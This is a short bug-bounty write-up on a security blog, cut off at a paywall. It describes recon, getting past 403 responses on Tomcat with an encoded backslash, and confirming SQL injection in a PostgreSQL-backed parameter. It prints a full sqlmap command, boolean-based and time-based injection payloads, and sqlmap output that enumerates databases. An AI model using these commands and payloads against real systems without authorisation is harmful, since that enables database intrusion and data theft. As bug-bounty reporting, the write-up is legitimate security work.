InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Follow publication

Member-only story

How Recon → SQLi Made €€€€ Bounty

Iski
InfoSec Write-ups
Published in
2 min readMar 6, 2025

Hi there…!

Free Link🎈

With a boooooooooring evening and zero plans, I sat there contemplating life choices — should I fix my sleep schedule or start another anime marathon?

Then my evil brain whispered: “Why not hack something instead of reorganizing your room for the 100th time?”

So, like every bug hunter avoiding reality, I fired up my tools.

🕵️‍♀️ The Recon Phase

I started manual recon using tools like waybackurls, katana, and gauplus.

Result? Tons of juicy URLs — but most of them gave me the classic 403 Forbidden.

I bypassed the 403 using 403 bypasser tools.

Since it was a Java app running on Apache Tomcat, the backslash had to be encoded as: %5c.

Even the 500 Internal Server Error could be bypassed using a double backslash.

🥸 The Hidden Gems

Pro tip: Don’t forget to dig through JS files — sometimes, they hide treasure.

I got lucky and found some juicy parameters:

  • SelectedSources
  • SelectedNames
  • SelectedTemplate

My bug hunter instincts kicked in. Time to test for SQLi!

⚡ The SQLi Attack

I ran SQLmap like a warrior:

sqlmap -u "https://example.com/news.php?selectedSources=xxxxx" \
--dbms=postgres \
--cookie="PHPSESSIONID=xxxxx” \
--random-agent --level=5 --risk=3 --dbs --batch

🔍 SQLmap Results:

  • Parameter: selectedSources (GET)
  • Type: Boolean-based blind

Payload:

selectedSources=someSources') OR 06690=6690 OR ('04586'='4586
  • Type: Time-based blind

Payload:

selectedSources=someSources') AND 4564=(SELECT 4564 FROM PG_SLEEP(6)) OR ('04586'='4586

🏆 The Victory

[09:22:33] [INFO] Testing PostgreSQL
[09:22:34] [INFO] Confirming PostgreSQL
[09:22:34] [INFO] The back-end DBMS is PostgreSQL
[09:22:34] [INFO] Fetching database names
[09:22:51] [INFO] Retrieved: 3
[09:26:01] [INFO] Retrieved: information_schema
[09:27:51] [INFO] Retrieved: pg_catalog

Create an account to read the full story.

The author made this story available to Medium members only.
If you’re new to Medium, create a new account to read this story on us.

Or, continue in mobile web

Already have an account? Sign in

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Written by Iski

Cybersecurity Researcher | Penetration Tester | Bug Bounty Hunter | Web security| Passionate about cyber security, security automation

Responses (6)

Write a response

how did you get the js files? did you open and see every js file or just one?

--

private program ?

--

Very much helpful

--